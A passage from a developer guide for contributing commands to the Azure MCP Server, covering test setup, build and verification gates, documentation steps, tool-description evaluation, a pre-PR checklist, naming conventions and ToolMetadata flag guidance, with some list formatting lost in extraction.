</Project>⚠️ Common mistake: Referencing only the toolset project. Live tests must also reference Azure.Mcp.Server.csproj.
If your live test class needs IAsyncLifetime or overrides Dispose, you must call base.Dispose():
public class MyCommandTests(ITestOutputHelper output, TestProxyFixture fixture, LiveServerFixture liveServerFixture)
: RecordedCommandTestsBase(output, fixture, liveServerFixture), IAsyncLifetime
{
public ValueTask DisposeAsync()
{
base.Dispose();
return ValueTask.CompletedTask;
}
}Failure to call base.Dispose() prevents request/response data from being written to failing test results.
GATE: Tests pass in both Record and Playback modes.
Run all checks in order. All must pass.
# 1. Build
dotnet build tools/Azure.Mcp.Tools.{Toolset}/src
# 2. Format
dotnet format Microsoft.Mcp.slnx --verify-no-changes --include "tools/Azure.Mcp.Tools.{Toolset}/**"
# 3. All unit tests (including existing — no regressions)
dotnet test tools/Azure.Mcp.Tools.{Toolset}/tests
# 4. Spell check
.\eng\common\spelling\Invoke-Cspell.ps1
# 5. Full verification
./eng/scripts/Build-Local.ps1 -VerifyNpx
# 6. AOT/Native build (required for AOT-compatible toolsets)
./eng/scripts/Build-Local.ps1 -BuildNativeIf AOT fails (common for new Azure SDK dependencies):
Program.cs under #if !BUILD_NATIVEProjectReference-Remove condition in Azure.Mcp.Server.csprojGATE: All 6 checks green.
File: servers/Azure.Mcp.Server/docs/azmcp-commands.md
Add command in alphabetical order within service section. Then regenerate metadata:
./eng/scripts/Update-AzCommandsMetadata.ps1File: servers/Azure.Mcp.Server/docs/e2eTestPrompts.md
Add 2-3 natural language prompts in alphabetical order:
| {toolset}_{resource}_{operation} | Natural language prompt |Follow docs/changelog-entries.md. Create entry using ./eng/scripts/New-ChangelogEntry.ps1 or manually. Use -ChangelogPath servers/Azure.Mcp.Server/CHANGELOG.md.
eng/scripts/Process-PackageReadMe.ps1 into package-specific outputs (NuGet, VSIX, npm, PyPI) so a single update covers all distribution channels.File: .github/CODEOWNERS
Add your new toolset path with appropriate team ownership:
/tools/Azure.Mcp.Tools.{Toolset}/ @your-teamFile: servers/Azure.Mcp.Server/src/Resources/consolidated-tools.json
Add your new tool(s) to the consolidated tools JSON. Use the following command to find the correct tool name:
cd servers/Azure.Mcp.Server/src/bin/Debug/net10.0
./azmcp[.exe] tools list --name --namespace <tool_area>Documentation Standards:
azmcp sql db show).\eng\scripts\Update-AzCommandsMetadata.ps1 after updating azmcp-commands.md (CI will fail if skipped)GATE: ./eng/scripts/Update-AzCommandsMetadata.ps1 succeeds.
Now that test prompts are written (Phase 5b), validate your command description against them using the ToolDescriptionEvaluator.
Full documentation: See eng/tools/ToolDescriptionEvaluator/Quickstart.md for setup details.Set your Azure OpenAI endpoint and API key as environment variables:
$env:AOAI_ENDPOINT = "https://<your-resource>.openai.azure.com/openai/deployments/<embeddings-deployment-name>/embeddings?api-version=<api-version>"
$env:TEXT_EMBEDDING_API_KEY = "your_api_key_here"For internal contributors, refer to the Before creating a pull request section of this document to use our team's deployment and credentials.
Use --test-single-tool mode to validate your description without building the full server:
# Test a single tool description against one prompt
dotnet run --project eng/tools/ToolDescriptionEvaluator/src -- --test-single-tool `
--tool-description "Your command description" `
--prompt "user query"
# Test against multiple prompts (recommended — test 2-3 phrasings)
dotnet run --project eng/tools/ToolDescriptionEvaluator/src -- --test-single-tool `
--tool-description "Lists all user-assigned managed identities in a subscription" `
--prompt "show me my managed identities" `
--prompt "list managed identities in my subscription" `
--prompt "what identities do I have"This builds the server and tests all tools in your area against the e2eTestPrompts.md file:
# Run evaluator for your specific service area
pushd eng/tools/ToolDescriptionEvaluator
./scripts/Run-ToolDescriptionEvaluator.ps1 -Area "{Toolset}"
# Build the Azure.Mcp.Server as part of the run
./scripts/Run-ToolDescriptionEvaluator.ps1 -Area "{Toolset}" -BuildAzureMcp
# Run for all Azure MCP Server tools (slower)
./scripts/Run-ToolDescriptionEvaluator.ps1
popdTarget: Top 3 ranking and confidence score ≥ 0.4.
>= 0.6: Excellent — tool will be reliably selected0.4 - 0.6: Acceptable — tool should be selected in most cases< 0.4: Poor — description needs improvementIf score is low, improve the Description in [CommandMetadata]:
Custom prompts file formats:
servers/Azure.Mcp.Server/docs/e2eTestPrompts.md{ "azmcp-your-command": ["prompt1", "prompt2"] }GATE: Score meets threshold (≥ 0.4, top 3 ranking). If the evaluator is not available (no Azure OpenAI credentials), manually verify the description is specific and action-oriented.
Before creating the PR, verify all of these:
[Option] attributes implementing ISubscriptionOptionSubscriptionCommand<TOptions, TResult> with ISubscriptionResolverExecuteAsync takes (CommandContext, TOptions, CancellationToken) — no ParseResultCancellationToken parameter as final argumentSubscriptionCommandUnitTestsBase){Toolset}Setup.cs ConfigureServices{Toolset}Setup.cs RegisterCommandsHandleException(context, ex)consolidated-tools.jsonDirectory.Packages.props AND .csprojMicrosoft.Mcp.slnx and Azure.Mcp.Server.slnxProgram.cs RegisterAreas() (alphabetical)dotnet build)dotnet format --verify-no-changes)assets.json committed.\eng\common\spelling\Invoke-Cspell.ps1)./eng/scripts/Build-Local.ps1 -BuildNative).GetSqlServers().GetAsync())CancellationToken passed to all async SDK callsISubscriptionResolver (injected in constructor)IAzureService injectionazmcp-commands.md updated with command documentationUpdate-AzCommandsMetadata.ps1 executed (CI will fail if skipped)e2eTestPrompts.md updated (alphabetical order maintained)-ChangelogPath)servers/Azure.Mcp.Server/README.md updated with example prompts and service listing.github/CODEOWNERS entry added for new toolsetEnvironment.GetEnvironmentVariable("ASPNETCORE_URLS"), HttpContext)IAzureTokenCredentialProvider for all authentication (not direct DefaultAzureCredential)ValidateOptions enforces format, length, and allowed-value constraints on all inputs — not only nullabilityoptions.Subscription, Name)IAzureService or injected IEndpointValidator; exact known external hosts validated with static EndpointValidator.ValidateExternalUrl; arbitrary public targets validated with IAzureService.ValidatePublicTargetUrl or IEndpointValidator.ValidatePublicTargetUrlSecret = trueVerify all files exist for your command:
src/Options/{Resource}/{Resource}{Operation}Options.cs (flat POCO with [Option] attributes)src/Commands/{Resource}/{Resource}{Operation}Command.cssrc/Services/I{Toolset}Service.cssrc/Services/{Toolset}Service.cssrc/Commands/{Toolset}JsonContext.cssrc/{Toolset}Setup.cs (implements IAreaSetup, registers commands + services)tests/Azure.Mcp.Tools.{Toolset}.Tests/{Resource}/{Resource}{Operation}CommandTests.cstests/Azure.Mcp.Tools.{Toolset}.Tests/{Toolset}CommandTests.cs (live tests, Azure only)tests/test-resources.bicep (Azure service commands only)tests/test-resources-post.ps1 (Azure service commands only)| Element | Pattern | Example |
|---|---|---|
| Command class | {Resource}{SubResource?}{Operation}Command | StorageAccountGetCommand |
| Options class | {Resource}{Operation}Options | StorageAccountGetOptions |
| Test class | {Resource}{Operation}CommandTests | StorageAccountGetCommandTests |
| CLI command | azmcp {service} {resource} {operation} | azmcp storage account get |
| Command group | Concatenated lowercase | "resourcegroup", "storageaccount" |
| Option flag | --kebab-case | --resource-group, --account |
Naming rules:
Server, Database, FileSystem)Config, Param, SubnetSize)List, Get, Set, Show, Delete, Calculate)ServerListCommand, ServerConfigGetCommand, FileSystemSubnetSizeCommandGetConfigCommand (missing resource), ListServerCommand (verb precedes resource)| Property | true | false |
|---|---|---|
Destructive | Deletes/modifies resources | Read-only or safe operations |
Idempotent | Same result on repeated calls | Accumulates effects |
OpenWorld | Unpredictable external systems | Well-defined Azure APIs |
ReadOnly | Only queries data | Creates/updates/deletes |
Secret | Returns credentials/keys | Returns non-sensitive data |
LocalRequired | Needs local tools/files | Remote API calls only |
Detailed ToolMetadata guidance:
false because they operate within the well-defined domain of Azure Resource Manager APIs. Only use true for commands interacting with truly unpredictable external systems outside Azure's control.false: Storage accounts, databases, VMs, schema definitions, best practices guidestrue: External web scraping, unstructured third-party data sources (rare)true for commands that delete, modify, or could cause data loss.true: Delete database, reset keys, purge storage, modify critical settingsfalse: List resources, show configuration, query data, get statustrue: Set config to specific value, create named resource (with "already exists" handled)false: Generate new keys, create resources with auto-generated names, append logstrue: Get storage account keys, show connection strings, retrieve certificatesfalse: List public resources, show non-sensitive configtrue: Azure CLI wrappers, local file operations, tools requiring local installationfalse: Pure cloud API commands (most Azure resource commands)After setting [CommandMetadata] properties, cross-check each value against these heuristics. Do not proceed if any check fails — correct the metadata first.
Destructive:
delete, remove, purge, reset, revoke, or update → must be truelist, get, show, query, or describe → must be falsetrueIdempotent:
falsefalsetrueOpenWorld:
falsetrue if the command interacts with user-controlled external systems, arbitrary URLs, or unpredictable third-party servicesReadOnly:
falsetrueDestructive for most commands (both can be false for create operations)Secret:
credential, secret, key, password, certificate, token, or connectionstring → default to true unless the command provably cannot expose any sensitive informationtruefalseLocalRequired:
falsetrue if the command requires local file system access, local CLI tools, or locally installed softwareGuidelines:
ToolMetadata properties even if using defaultsGetErrorMessage and GetStatusCode if logic differs from base class[] for null/empty service resultsNever do (new pattern):
subscriptionId → ✅ subscription[Option] attribute → ✅ Always add [Option("description")] or [Option(OptionDescriptions.X)]ISubscriptionOptionRegisterOptions/BindOptions in new commands → ✅ Use [Option] attributes (automatic)ExecuteAsync(context, parseResult, ct) → ✅ ExecuteAsync(context, options, ct)Validate(parseResult.CommandResult, ...) → ✅ Override ValidateOptions(options, result) if neededCloudConfiguration.CloudType switch{@Options} → ✅ Log only safe parameters individuallyCancellationToken → ✅ Always the final parameterCancellationToken.None in tests → ✅ TestContext.Current.CancellationTokenbase.Dispose() in tests → ✅ Always call when overridingtest-resources.bicep earlyCommandUnitTestsBase for subscription commands → ✅ Use SubscriptionCommandUnitTestsBase[Option(Name = "my-option")] when default matches → ✅ Only use Name = when kebab-case conversion is wrongservices.AddSingleton<MyCommand>() in ConfigureServicesAlways do:
[Option] attributes on flat options POCO (implements ISubscriptionOption)SubscriptionCommand<TOptions, TResult> with ISubscriptionResolver inje~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.